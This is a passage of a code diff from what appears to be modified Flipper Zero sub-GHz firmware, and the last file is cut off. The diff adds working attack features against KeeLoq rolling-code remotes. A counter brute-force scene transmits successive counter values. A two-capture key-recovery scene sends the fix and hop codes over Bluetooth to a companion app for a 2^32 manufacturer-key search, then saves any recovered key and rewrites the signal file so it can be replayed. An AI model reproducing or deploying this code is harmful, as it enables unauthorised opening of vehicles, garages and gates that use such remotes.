Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 C9 11 F8 12 30 14 00 15 14 18 18 19 16 1B 07 1C 00 1D 91 20 FB 21 55 22 00 00 00 00 C0 00 00 00 00 00 00
Custom_preset_name: FSK_1
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 03 47 08 32 0B 0C 10 C7 11 93 12 00 13 22 14 F8 15 35 18 18 19 1D 1B 04 1C 00 1D 92 20 FB 21 B6 22 17 00 00 12 0E 1D 34 60 84 C8 C0
Custom_preset_name: F3
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 03 47 08 32 0B 06 0C 00 0D 10 0D 0D 10 C5 11 83 12 80 13 22 14 F8 15 42 16 07 17 30 18 18 19 1D 1A 1C 1B 43 1C 40 1D 91 20 FB 21 B6 22 00 23 E9 24 2A 25 00 26 1F 2C 81 2D 35 2E 09 00 00 12 0E 1D 34 60 84 C8 C0
Custom_preset_name: FM95
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 67 11 83 12 04 13 02 15 24 18 18 19 16 1B 07 1C 00 1D 91 20 FB 21 56 22 10 00 00 C0 00 00 00 00 00 00 00
Custom_preset_name: FM15k
Custom_preset_module: CC1101
Custom_preset_data: 02 0D 03 47 08 32 0B 06 10 A7 11 32 12 00 13 00 14 00 15 32 18 18 19 1D 1B 04 1C 00 1D 92 20 FB 21 B6 22 17 00 00 00 12 0E 34 60 C5 C1 C0

View File

@@ -1,47 +0,0 @@
# to use manual settings and prevent them from being deleted on upgrade, rename *_user.example files to *_user
Filetype: Flipper SubGhz Setting File
Version: 1
# Add Standard frequencies included with firmware and place user frequencies after them
#Add_standard_frequencies: true
# Default Frequency: used as default for "Read" and "Read Raw"
#Default_frequency: 433920000
# Frequencies used for "Read", "Read Raw" and "Frequency Analyzer"
#Frequency: 300000000
#Frequency: 310000000
#Frequency: 320000000
# Frequencies used for hopping mode (keep this list small or flipper will miss signal)
#Hopper_frequency: 300000000
#Hopper_frequency: 310000000
#Hopper_frequency: 310000000
# Custom preset
# format for CC1101 "Custom_preset_data:" XX YY XX YY .. 00 00 ZZ ZZ ZZ ZZ ZZ ZZ ZZ ZZ, where: XX-register, YY - register data, 00 00 - end load register, ZZ - 8 byte Pa table register
#Custom_preset_name: FM95
#Custom_preset_module: CC1101
#Custom_preset_data: 02 0D 0B 06 08 32 07 04 14 00 13 02 12 04 11 83 10 67 15 24 18 18 19 16 1D 91 1C 00 1B 07 20 FB 22 10 21 56 00 00 C0 00 00 00 00 00 00 00
#2-FSK 200khz BW / 135kHz Filter/ 15.86Khz Deviation + Ramping
#Custom_preset_name: FM15k
#Custom_preset_module: CC1101
#Custom_preset_data: 02 0D 03 47 08 32 0B 06 15 32 14 00 13 00 12 00 11 32 10 A7 18 18 19 1D 1D 92 1C 00 1B 04 20 FB 22 17 21 B6 00 00 00 12 0E 34 60 C5 C1 C0
#Custom_preset_name: Pagers
#Custom_preset_module: CC1101
#Custom_preset_data: 02 0D 07 04 08 32 0B 06 10 64 11 93 12 0C 13 02 14 00 15 15 18 18 19 16 1B 07 1C 00 1D 91 20 FB 21 56 22 10 00 00 C0 00 00 00 00 00 00 00
#Custom_preset_name: AM_1
#Custom_preset_module: CC1101
#Custom_preset_data: 02 0D 03 07 08 32 0B 06 14 00 13 00 12 30 11 32 10 17 18 18 19 18 1D 91 1C 00 1B 07 20 FB 22 11 21 B6 00 00 00 C0 00 00 00 00 00 00
#Custom_preset_name: AM_2
#Custom_preset_module: CC1101
#Custom_preset_data: 02 0D 03 07 08 32 0B 06 14 00 13 00 12 30 11 32 10 17 18 18 19 18 1D 91 1C 00 1B 07 20 FB 22 11 21 B6 00 00 00 C0 00 00 00 00 00 00
# Presets used for preset hopping mode (cycles through these modulations)
#Hopping_Preset: AM650
#Hopping_Preset: FM238
#Hopping_Preset: FM476

View File

@@ -30,4 +30,7 @@ ADD_SCENE(subghz, protocol_list, ProtocolList)
ADD_SCENE(subghz, keeloq_keys, KeeloqKeys)
ADD_SCENE(subghz, keeloq_key_edit, KeeloqKeyEdit)
ADD_SCENE(subghz, psa_decrypt, PsaDecrypt)
ADD_SCENE(subghz, keeloq_decrypt, KeeloqDecrypt)
ADD_SCENE(subghz, keeloq_bf2, KeeloqBf2)
ADD_SCENE(subghz, kl_bf_cleanup, KlBfCleanup)
ADD_SCENE(subghz, counter_bf, CounterBf)

View File

@@ -5,9 +5,10 @@
#define TAG "SubGhzCounterBf"
// How many ticks to wait between transmissions (1 tick ~100ms)
#define COUNTER_BF_TX_INTERVAL_TICKS 3
#define COUNTER_BF_TX_INTERVAL_TICKS 5
typedef enum {
CounterBfStateWarning,
CounterBfStateIdle,
CounterBfStateRunning,
CounterBfStateStopped,
@@ -22,8 +23,16 @@ typedef struct {
uint32_t tick_wait;
} CounterBfContext;
#define CounterBfEventStart (0xC0)
#define CounterBfEventStop (0xC1)
#define CounterBfEventStart (0xC0)
#define CounterBfEventStop (0xC1)
#define CounterBfEventWarningOk (0xC2)
static void counter_bf_warning_callback(GuiButtonType result, InputType type, void* context) {
SubGhz* subghz = context;
if(result == GuiButtonTypeCenter && type == InputTypeShort) {
view_dispatcher_send_custom_event(subghz->view_dispatcher, CounterBfEventWarningOk);
}
}
static void counter_bf_widget_callback(GuiButtonType result, InputType type, void* context) {
SubGhz* subghz = context;
@@ -32,18 +41,36 @@ static void counter_bf_widget_callback(GuiButtonType result, InputType type, voi
}
}
static void counter_bf_draw_warning(SubGhz* subghz) {
widget_reset(subghz->widget);
widget_add_string_multiline_element(
subghz->widget,
64,
20,
AlignCenter,
AlignCenter,
FontSecondary,
"WARNING:\nThis may desync\nyour fob!");
widget_add_button_element(
subghz->widget,
GuiButtonTypeCenter,
"OK",
counter_bf_warning_callback,
subghz);
}
static void counter_bf_draw(SubGhz* subghz, CounterBfContext* ctx) {
widget_reset(subghz->widget);
FuriString* str = furi_string_alloc();
furi_string_printf(
str,
"Counter BruteForce\n"
"Cnt: 0x%08lX\n"
"Sent: %lu pkts\n"
"Start: 0x%08lX",
ctx->current_cnt,
ctx->packets_sent,
ctx->start_cnt);
"Cnt: 0x%06lX\n"
"Start: 0x%06lX\n"
"Sent: %lu",
ctx->current_cnt & 0xFFFFFF,
ctx->start_cnt & 0xFFFFFF,
ctx->packets_sent);
widget_add_string_multiline_element(
subghz->widget, 0, 0, AlignLeft, AlignTop, FontSecondary, furi_string_get_cstr(str));
furi_string_free(str);
@@ -57,14 +84,12 @@ static void counter_bf_draw(SubGhz* subghz, CounterBfContext* ctx) {
}
static void counter_bf_save(SubGhz* subghz, CounterBfContext* ctx) {
// Escribir el Cnt final directamente en el archivo .sub en disco.
// No usar subghz_save_protocol_to_file() porque ese serializa el estado
// actual del encoder (que puede tener el Cnt ya incrementado internamente).
Storage* storage = furi_record_open(RECORD_STORAGE);
FlipperFormat* file_fff = flipper_format_buffered_file_alloc(storage);
if(flipper_format_buffered_file_open_existing(
file_fff, furi_string_get_cstr(subghz->file_path))) {
if(!flipper_format_update_uint32(file_fff, "Cnt", &ctx->current_cnt, 1)) {
uint32_t cnt = ctx->current_cnt & 0xFFFFFF;
if(!flipper_format_update_uint32(file_fff, "Cnt", &cnt, 1)) {
FURI_LOG_E(TAG, "Failed to update Cnt in .sub file");
}
} else {
@@ -77,16 +102,15 @@ static void counter_bf_save(SubGhz* subghz, CounterBfContext* ctx) {
static void counter_bf_send(SubGhz* subghz, CounterBfContext* ctx) {
subghz_txrx_stop(subghz->txrx);
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
uint32_t delta = (ctx->current_cnt - ctx->start_cnt) & 0xFFFFFF;
furi_hal_subghz_set_rolling_counter_mult((int32_t)delta);
subghz_block_generic_global_counter_override_set(ctx->current_cnt & 0xFFFFFF);
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
uint32_t repeat = 20;
flipper_format_rewind(fff);
flipper_format_update_uint32(fff, "Repeat", &repeat, 1);
// Actualizar Cnt DESPUES de Repeat (update es secuencial en el buffer)
flipper_format_rewind(fff);
flipper_format_update_uint32(fff, "Cnt", &ctx->current_cnt, 1);
subghz_tx_start(subghz, fff);
ctx->packets_sent++;
@@ -98,42 +122,38 @@ void subghz_scene_counter_bf_on_enter(void* context) {
CounterBfContext* ctx = malloc(sizeof(CounterBfContext));
memset(ctx, 0, sizeof(CounterBfContext));
ctx->state = CounterBfStateIdle;
ctx->state = CounterBfStateWarning;
ctx->step = 1;
furi_hal_subghz_set_rolling_counter_mult(0);
subghz_key_load(subghz, furi_string_get_cstr(subghz->file_path), false);
// FIX: Leer el Cnt DIRECTAMENTE del archivo en disco con un FlipperFormat
// propio, completamente separado del fff en memoria (que puede tener el Cnt
// modificado por TXs previas y no refleja el estado real del .sub).
{
Storage* storage = furi_record_open(RECORD_STORAGE);
FlipperFormat* file_fff = flipper_format_buffered_file_alloc(storage);
if(flipper_format_buffered_file_open_existing(
file_fff, furi_string_get_cstr(subghz->file_path))) {
uint32_t cnt = 0;
if(flipper_format_read_uint32(file_fff, "Cnt", &cnt, 1)) {
ctx->current_cnt = cnt;
ctx->start_cnt = cnt;
} else {
FURI_LOG_W(TAG, "Cnt field not found in file");
}
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
uint32_t cnt = 0;
if(flipper_format_read_uint32(fff, "Cnt", &cnt, 1)) {
ctx->current_cnt = cnt & 0xFFFFFF;
ctx->start_cnt = cnt & 0xFFFFFF;
} else {
FURI_LOG_E(TAG, "Failed to open .sub file for Cnt read");
FURI_LOG_W(TAG, "Cnt not in fff after key_load, reading from disk");
Storage* storage = furi_record_open(RECORD_STORAGE);
FlipperFormat* file_fff = flipper_format_buffered_file_alloc(storage);
if(flipper_format_buffered_file_open_existing(
file_fff, furi_string_get_cstr(subghz->file_path))) {
if(flipper_format_read_uint32(file_fff, "Cnt", &cnt, 1)) {
ctx->current_cnt = cnt & 0xFFFFFF;
ctx->start_cnt = cnt & 0xFFFFFF;
}
}
flipper_format_free(file_fff);
furi_record_close(RECORD_STORAGE);
}
flipper_format_free(file_fff);
furi_record_close(RECORD_STORAGE);
}
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneCounterBf, (uint32_t)(uintptr_t)ctx);
// Deshabilitar auto-increment del protocolo para controlar el Cnt manualmente
furi_hal_subghz_set_rolling_counter_mult(0);
// Recargar el protocolo DESPUES de haber leído el Cnt del disco,
// para preparar el fff para TX sin que pise nuestro valor leído.
subghz_key_load(subghz, furi_string_get_cstr(subghz->file_path), false);
counter_bf_draw(subghz, ctx);
counter_bf_draw_warning(subghz);
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdWidget);
}
@@ -144,15 +164,21 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
if(!ctx) return false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == CounterBfEventWarningOk) {
ctx->state = CounterBfStateIdle;
counter_bf_draw(subghz, ctx);
return true;
}
if(event.event == CounterBfEventStart) {
if(ctx->state == CounterBfStateWarning) return true;
if(ctx->state != CounterBfStateRunning) {
ctx->state = CounterBfStateRunning;
ctx->tick_wait = 0;
subghz->state_notifications = SubGhzNotificationStateTx;
counter_bf_send(subghz, ctx);
} else {
// FIX 2: Al detener, guardar el contador actual en el .sub
// para que al volver a emular manualmente continúe desde acá.
ctx->state = CounterBfStateStopped;
subghz_txrx_stop(subghz->txrx);
subghz->state_notifications = SubGhzNotificationStateIDLE;
@@ -167,19 +193,24 @@ bool subghz_scene_counter_bf_on_event(void* context, SceneManagerEvent event) {
if(ctx->tick_wait > 0) {
ctx->tick_wait--;
} else {
ctx->current_cnt += ctx->step;
ctx->current_cnt = (ctx->current_cnt + ctx->step) & 0xFFFFFF;
counter_bf_send(subghz, ctx);
counter_bf_save(subghz, ctx);
counter_bf_draw(subghz, ctx);
}
}
return true;
} else if(event.type == SceneManagerEventTypeBack) {
if(ctx->state == CounterBfStateWarning) {
furi_hal_subghz_set_rolling_counter_mult(1);
free(ctx);
scene_manager_previous_scene(subghz->scene_manager);
return true;
}
subghz_txrx_stop(subghz->txrx);
subghz->state_notifications = SubGhzNotificationStateIDLE;
// FIX 2 (también en Back): guardar siempre al salir
counter_bf_save(subghz, ctx);
furi_hal_subghz_set_rolling_counter_mult(1);
free(ctx);
scene_manager_previous_scene(subghz->scene_manager);

View File

@@ -0,0 +1,257 @@
#include "../subghz_i.h"
#include <lib/subghz/protocols/keeloq.h>
#include <lib/subghz/blocks/math.h>
#include <dialogs/dialogs.h>
enum {
KlBf2IndexLoadSig1,
KlBf2IndexLoadSig2,
KlBf2IndexType,
KlBf2IndexStartBf,
};
static const char* kl_bf2_type_labels[] = {
"Type: Auto (6>7>8)",
"Type: 6 (Serial 1)",
"Type: 7 (Serial 2)",
"Type: 8 (Serial 3)",
};
static const uint8_t kl_bf2_type_values[] = {0, 6, 7, 8};
static bool kl_bf2_extract_key(SubGhz* subghz, uint32_t* out_fix, uint32_t* out_hop) {
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
uint8_t key_data[8] = {0};
if(!flipper_format_read_hex(fff, "Key", key_data, 8)) return false;
uint64_t raw = 0;
for(uint8_t i = 0; i < 8; i++) {
raw = (raw << 8) | key_data[i];
}
uint64_t reversed = subghz_protocol_blocks_reverse_key(raw, 64);
*out_fix = (uint32_t)(reversed >> 32);
*out_hop = (uint32_t)(reversed & 0xFFFFFFFF);
return true;
}
static bool kl_bf2_is_keeloq(SubGhz* subghz) {
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
FuriString* proto = furi_string_alloc();
bool ok = flipper_format_read_string(fff, "Protocol", proto) &&
furi_string_equal_str(proto, "KeeLoq");
furi_string_free(proto);
return ok;
}
static void kl_bf2_submenu_callback(void* context, uint32_t index) {
SubGhz* subghz = context;
view_dispatcher_send_custom_event(subghz->view_dispatcher, index);
}
static bool kl_bf2_load_signal(SubGhz* subghz, FuriString* out_path) {
DialogsFileBrowserOptions browser_options;
dialog_file_browser_set_basic_options(
&browser_options, SUBGHZ_APP_FILENAME_EXTENSION, &I_sub1_10px);
browser_options.base_path = SUBGHZ_APP_FOLDER;
FuriString* selected = furi_string_alloc();
furi_string_set(selected, SUBGHZ_APP_FOLDER);
bool res = dialog_file_browser_show(subghz->dialogs, selected, selected, &browser_options);
if(res) {
res = subghz_key_load(subghz, furi_string_get_cstr(selected), true);
if(res) {
furi_string_set(out_path, selected);
}
}
furi_string_free(selected);
return res;
}
static void kl_bf2_rebuild_menu(SubGhz* subghz) {
submenu_reset(subghz->submenu);
char label1[64];
char label2[64];
if(subghz->keeloq_bf2.sig1_loaded) {
FuriString* name = furi_string_alloc();
path_extract_filename(subghz->keeloq_bf2.sig1_path, name, true);
snprintf(label1, sizeof(label1), "Sig 1: %s", furi_string_get_cstr(name));
furi_string_free(name);
} else {
snprintf(label1, sizeof(label1), "Load Signal 1");
}
if(subghz->keeloq_bf2.sig2_loaded) {
FuriString* name = furi_string_alloc();
path_extract_filename(subghz->keeloq_bf2.sig2_path, name, true);
snprintf(label2, sizeof(label2), "Sig 2: %s", furi_string_get_cstr(name));
furi_string_free(name);
} else {
snprintf(label2, sizeof(label2), "Load Signal 2");
}
submenu_add_item(
subghz->submenu, label1, KlBf2IndexLoadSig1,
kl_bf2_submenu_callback, subghz);
submenu_add_item(
subghz->submenu, label2, KlBf2IndexLoadSig2,
kl_bf2_submenu_callback, subghz);
int type_idx = 0;
for(int i = 0; i < 4; i++) {
if(kl_bf2_type_values[i] == subghz->keeloq_bf2.learn_type) {
type_idx = i;
break;
}
}
submenu_add_item(
subghz->submenu, kl_bf2_type_labels[type_idx], KlBf2IndexType,
kl_bf2_submenu_callback, subghz);
if(subghz->keeloq_bf2.sig1_loaded && subghz->keeloq_bf2.sig2_loaded) {
submenu_add_item(
subghz->submenu, "Start BF", KlBf2IndexStartBf,
kl_bf2_submenu_callback, subghz);
}
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdMenu);
}
void subghz_scene_keeloq_bf2_on_enter(void* context) {
SubGhz* subghz = context;
subghz->keeloq_bf2.sig1_loaded = false;
subghz->keeloq_bf2.sig2_loaded = false;
subghz->keeloq_bf2.learn_type = 0;
kl_bf2_rebuild_menu(subghz);
}
bool subghz_scene_keeloq_bf2_on_event(void* context, SceneManagerEvent event) {
SubGhz* subghz = context;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == KlBf2IndexLoadSig1) {
FuriString* path = furi_string_alloc();
if(kl_bf2_load_signal(subghz, path)) {
if(!kl_bf2_is_keeloq(subghz)) {
dialog_message_show_storage_error(
subghz->dialogs, "Not a KeeLoq\nprotocol file");
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
}
uint32_t fix, hop;
if(!kl_bf2_extract_key(subghz, &fix, &hop)) {
dialog_message_show_storage_error(
subghz->dialogs, "Cannot read Key\nfrom file");
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
}
subghz->keeloq_bf2.fix = fix;
subghz->keeloq_bf2.hop1 = hop;
subghz->keeloq_bf2.serial = fix & 0x0FFFFFFF;
subghz->keeloq_bf2.sig1_loaded = true;
furi_string_set(subghz->keeloq_bf2.sig1_path, path);
subghz->keeloq_bf2.sig2_loaded = false;
}
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
} else if(event.event == KlBf2IndexLoadSig2) {
if(!subghz->keeloq_bf2.sig1_loaded) {
dialog_message_show_storage_error(
subghz->dialogs, "Load Signal 1 first");
kl_bf2_rebuild_menu(subghz);
return true;
}
FuriString* path = furi_string_alloc();
if(kl_bf2_load_signal(subghz, path)) {
if(!kl_bf2_is_keeloq(subghz)) {
dialog_message_show_storage_error(
subghz->dialogs, "Not a KeeLoq\nprotocol file");
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
}
uint32_t fix2, hop2;
if(!kl_bf2_extract_key(subghz, &fix2, &hop2)) {
dialog_message_show_storage_error(
subghz->dialogs, "Cannot read Key\nfrom file");
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
}
uint32_t serial2 = fix2 & 0x0FFFFFFF;
if(serial2 != subghz->keeloq_bf2.serial) {
dialog_message_show_storage_error(
subghz->dialogs, "Serial mismatch!\nMust be same remote");
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
}
if(hop2 == subghz->keeloq_bf2.hop1) {
dialog_message_show_storage_error(
subghz->dialogs, "Same hop code!\nUse a different\ncapture");
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
}
subghz->keeloq_bf2.hop2 = hop2;
subghz->keeloq_bf2.sig2_loaded = true;
furi_string_set(subghz->keeloq_bf2.sig2_path, path);
}
furi_string_free(path);
kl_bf2_rebuild_menu(subghz);
return true;
} else if(event.event == KlBf2IndexType) {
uint8_t cur = subghz->keeloq_bf2.learn_type;
if(cur == 0) cur = 6;
else if(cur == 6) cur = 7;
else if(cur == 7) cur = 8;
else cur = 0;
subghz->keeloq_bf2.learn_type = cur;
kl_bf2_rebuild_menu(subghz);
return true;
} else if(event.event == KlBf2IndexStartBf) {
if(!subghz->keeloq_bf2.sig1_loaded || !subghz->keeloq_bf2.sig2_loaded) {
return true;
}
if(!subghz_key_load(
subghz,
furi_string_get_cstr(subghz->keeloq_bf2.sig1_path),
true)) {
dialog_message_show_storage_error(
subghz->dialogs, "Cannot reload\nSignal 1");
kl_bf2_rebuild_menu(subghz);
return true;
}
scene_manager_next_scene(subghz->scene_manager, SubGhzSceneKeeloqDecrypt);
return true;
}
}
return false;
}
void subghz_scene_keeloq_bf2_on_exit(void* context) {
SubGhz* subghz = context;
submenu_reset(subghz->submenu);
}

View File

@@ -0,0 +1,299 @@
#include "../subghz_i.h"
#include "../helpers/subghz_txrx_i.h"
#include <lib/subghz/protocols/keeloq.h>
#include <lib/subghz/protocols/keeloq_common.h>
#include <lib/subghz/blocks/math.h>
#include <lib/subghz/environment.h>
#include <lib/subghz/subghz_keystore.h>
#include <furi.h>
#include <bt/bt_service/bt.h>
#define KL_DECRYPT_EVENT_DONE (0xD2)
#define KL_DECRYPT_EVENT_CANDIDATE (0xD3)
#define KL_TOTAL_KEYS 0x100000000ULL
#define KL_MSG_BF_REQUEST 0x10
#define KL_MSG_BF_PROGRESS 0x11
#define KL_MSG_BF_RESULT 0x12
#define KL_MSG_BF_CANCEL 0x13
typedef struct {
SubGhz* subghz;
volatile bool cancel;
uint32_t start_tick;
bool success;
FuriString* result;
uint32_t fix;
uint32_t hop;
uint32_t serial;
uint8_t btn;
uint16_t disc;
uint32_t hop2;
uint32_t candidate_count;
uint64_t recovered_mfkey;
uint16_t recovered_type;
uint32_t recovered_cnt;
bool ble_offload;
} KlDecryptCtx;
static void kl_ble_data_received(uint8_t* data, uint16_t size, void* context) {
KlDecryptCtx* ctx = context;
if(size < 1 || ctx->cancel) return;
if(data[0] == KL_MSG_BF_PROGRESS && size >= 10) {
uint32_t keys_tested, keys_per_sec;
memcpy(&keys_tested, data + 2, 4);
memcpy(&keys_per_sec, data + 6, 4);
uint32_t elapsed_sec = (furi_get_tick() - ctx->start_tick) / 1000;
uint32_t remaining = (keys_tested > 0) ? (0xFFFFFFFFU - keys_tested) : 0xFFFFFFFFU;
uint32_t eta_sec = (keys_per_sec > 0) ? (remaining / keys_per_sec) : 0;
uint8_t pct = (uint8_t)((uint64_t)keys_tested * 100 / 0xFFFFFFFFULL);
subghz_view_keeloq_decrypt_update_stats(
ctx->subghz->subghz_keeloq_decrypt, pct, keys_tested, keys_per_sec, elapsed_sec, eta_sec);
} else if(data[0] == KL_MSG_BF_RESULT && size >= 26) {
uint8_t found = data[1];
if(found == 1) {
uint64_t mfkey = 0;
uint32_t cnt = 0;
memcpy(&mfkey, data + 2, 8);
memcpy(&cnt, data + 18, 4);
uint16_t learn_type = (size >= 27) ? data[26] : 6;
ctx->candidate_count++;
ctx->recovered_mfkey = mfkey;
ctx->recovered_type = learn_type;
ctx->recovered_cnt = cnt;
subghz_view_keeloq_decrypt_update_candidates(
ctx->subghz->subghz_keeloq_decrypt, ctx->candidate_count);
view_dispatcher_send_custom_event(
ctx->subghz->view_dispatcher, KL_DECRYPT_EVENT_CANDIDATE);
} else if(found == 2) {
ctx->success = (ctx->candidate_count > 0);
view_dispatcher_send_custom_event(
ctx->subghz->view_dispatcher, KL_DECRYPT_EVENT_DONE);
}
}
}
static void kl_ble_cleanup(KlDecryptCtx* ctx) {
if(!ctx->ble_offload) return;
Bt* bt = furi_record_open(RECORD_BT);
bt_set_custom_data_callback(bt, NULL, NULL);
furi_record_close(RECORD_BT);
ctx->ble_offload = false;
}
static bool kl_ble_start_offload(KlDecryptCtx* ctx) {
Bt* bt = furi_record_open(RECORD_BT);
if(!bt_is_connected(bt)) {
furi_record_close(RECORD_BT);
return false;
}
bt_set_custom_data_callback(bt, kl_ble_data_received, ctx);
uint8_t req[18];
req[0] = KL_MSG_BF_REQUEST;
req[1] = ctx->subghz->keeloq_bf2.learn_type;
memcpy(req + 2, &ctx->fix, 4);
memcpy(req + 6, &ctx->hop, 4);
memcpy(req + 10, &ctx->hop2, 4);
memcpy(req + 14, &ctx->serial, 4);
bt_custom_data_tx(bt, req, sizeof(req));
furi_record_close(RECORD_BT);
ctx->ble_offload = true;
subghz_view_keeloq_decrypt_set_status(
ctx->subghz->subghz_keeloq_decrypt, "[BT] Offloading...");
return true;
}
static void kl_decrypt_view_callback(SubGhzCustomEvent event, void* context) {
SubGhz* subghz = context;
view_dispatcher_send_custom_event(subghz->view_dispatcher, event);
}
void subghz_scene_keeloq_decrypt_on_enter(void* context) {
SubGhz* subghz = context;
KlDecryptCtx* ctx = malloc(sizeof(KlDecryptCtx));
memset(ctx, 0, sizeof(KlDecryptCtx));
ctx->subghz = subghz;
ctx->result = furi_string_alloc_set("No result");
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
uint8_t key_data[8] = {0};
if(flipper_format_read_hex(fff, "Key", key_data, 8)) {
uint64_t raw = 0;
for(uint8_t i = 0; i < 8; i++) {
raw = (raw << 8) | key_data[i];
}
uint64_t reversed = subghz_protocol_blocks_reverse_key(raw, 64);
ctx->fix = (uint32_t)(reversed >> 32);
ctx->hop = (uint32_t)(reversed & 0xFFFFFFFF);
}
ctx->serial = ctx->fix & 0x0FFFFFFF;
ctx->btn = ctx->fix >> 28;
ctx->disc = ctx->serial & 0x3FF;
ctx->hop2 = subghz->keeloq_bf2.sig2_loaded ? subghz->keeloq_bf2.hop2 : 0;
scene_manager_set_scene_state(
subghz->scene_manager, SubGhzSceneKeeloqDecrypt, (uint32_t)(uintptr_t)ctx);
subghz_view_keeloq_decrypt_reset(subghz->subghz_keeloq_decrypt);
subghz_view_keeloq_decrypt_set_callback(
subghz->subghz_keeloq_decrypt, kl_decrypt_view_callback, subghz);
view_dispatcher_switch_to_view(subghz->view_dispatcher, SubGhzViewIdKeeloqDecrypt);
ctx->start_tick = furi_get_tick();
if(!kl_ble_start_offload(ctx)) {
char msg[128];
snprintf(msg, sizeof(msg),
"No BLE connection!\n"
"Connect companion app\n"
"and try again.\n\n"
"Fix:0x%08lX\nHop:0x%08lX",
ctx->fix, ctx->hop);
subghz_view_keeloq_decrypt_set_result(
subghz->subghz_keeloq_decrypt, false, msg);
}
}
bool subghz_scene_keeloq_decrypt_on_event(void* context, SceneManagerEvent event) {
SubGhz* subghz = context;
KlDecryptCtx* ctx = (KlDecryptCtx*)(uintptr_t)scene_manager_get_scene_state(
subghz->scene_manager, SubGhzSceneKeeloqDecrypt);
if(!ctx) return false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == KL_DECRYPT_EVENT_CANDIDATE) {
if(!subghz->keeloq_keys_manager) {
subghz->keeloq_keys_manager = subghz_keeloq_keys_alloc();
}
char key_name[24];
snprintf(key_name, sizeof(key_name), "BF_%07lX", ctx->serial);
subghz_keeloq_keys_add(
subghz->keeloq_keys_manager,
ctx->recovered_mfkey,
KEELOQ_LEARNING_SIMPLE,
key_name);
subghz_keeloq_keys_save(subghz->keeloq_keys_manager);
SubGhzKeystore* env_ks = subghz_environment_get_keystore(
subghz->txrx->environment);
SubGhzKeyArray_t* env_arr = subghz_keystore_get_data(env_ks);
SubGhzKey* entry = SubGhzKeyArray_push_raw(*env_arr);
entry->name = furi_string_alloc_set(key_name);
entry->key = ctx->recovered_mfkey;
entry->type = KEELOQ_LEARNING_SIMPLE;
return true;
} else if(event.event == KL_DECRYPT_EVENT_DONE) {
kl_ble_cleanup(ctx);
subghz->keeloq_bf2.sig1_loaded = false;
subghz->keeloq_bf2.sig2_loaded = false;
if(ctx->success) {
furi_string_printf(
ctx->result,
"Found %lu candidate(s)\n"
"Last: %08lX%08lX\n"
"Type:%u Cnt:%04lX\n"
"Saved to user keys",
ctx->candidate_count,
(uint32_t)(ctx->recovered_mfkey >> 32),
(uint32_t)(ctx->recovered_mfkey & 0xFFFFFFFF),
ctx->recovered_type,
ctx->recovered_cnt);
FlipperFormat* fff = subghz_txrx_get_fff_data(subghz->txrx);
flipper_format_rewind(fff);
char mf_str[20];
snprintf(mf_str, sizeof(mf_str), "BF_%07lX", ctx->serial);
flipper_format_insert_or_update_string_cstr(fff, "Manufacture", mf_str);
uint32_t cnt_val = ctx->recovered_cnt;
flipper_format_rewind(fff);
flipper_format_insert_or_update_uint32(fff, "Cnt", &cnt_val, 1);
if(ctx->hop2 != 0) {
flipper_format_rewind(fff);
flipper_format_insert_or_update_uint32(fff, "Hop2", &ctx->hop2, 1);
}
flipper_format_rewind(fff);
subghz_protocol_decoder_base_deserialize(
subghz_txrx_get_decoder(subghz->txrx), fff);
const char* save_path = NULL;
if(subghz_path_is_file(subghz->file_path)) {
save_path = furi_string_get_cstr(subghz->file_path);
} else if(subghz_path_is_file(subghz->keeloq_bf2.sig1_path)) {
save_path = furi_string_get_cstr(subghz->keeloq_bf2.sig1_path);
}
if(save_path) {
subghz_save_protocol_to_file(
subghz,
subghz_txrx_get_fff_data(subghz->txrx),
save_path);
furi_string_set_str(subghz->file_path, save_path);
}
subghz_view_keeloq_decrypt_set_result(
subghz->subghz_keeloq_decrypt, true, furi_string_get_cstr(ctx->result));
} else if(!ctx->cancel) {
subghz_view_keeloq_decrypt_set_result(
subghz->subghz_keeloq_decrypt, false,
"Key NOT found.\nNo matching key in\n2^32 search space.");
} else {
subghz_view_keeloq_decrypt_set_result(
subghz->subghz_keeloq_decrypt, false, "Cancelled.");
}
return true;
} else if(event.event == SubGhzCustomEventViewTransmitterBack) {
if(ctx->ble_offload) {
Bt* bt = furi_record_open(RECORD_BT);
uint8_t cancel_msg = KL_MSG_BF_CANCEL;
bt_custom_data_tx(bt, &cancel_msg, 1);
furi_record_close(RECORD_BT);
}
ctx->cancel = true;
scene_manager_previous_scene(subghz->scene_manager);
return true;
}
}
return false;
}
void subghz_scene_keeloq_decrypt_on_exit(void* context) {
SubGhz* subghz = context;
KlDecryptCtx* ctx = (KlDecryptCtx*)(uintptr_t)scene_manager_get_scene_state(
subghz->scene_manager, SubGhzSceneKeeloqDecrypt);
if(ctx) {
kl_ble_cleanup(ctx);
ctx->cancel = true;
furi_string_free(ctx->result);
free(ctx);
scene_manager_set_scene_state(subghz->scene_manager, SubGhzSceneKeeloqDecrypt, 0);
}
}

View File

@@ -0,0 +1,141 @@
#include "../subghz_i.h"
#include <lib/subghz/protocols/keeloq_common.h>
typedef struct {
uint32_t serial;
uint32_t fix;
uint32_t hop;
uint32_t hop2;
uint8_t btn;
uint16_t disc;
size_t bf_indices[32];
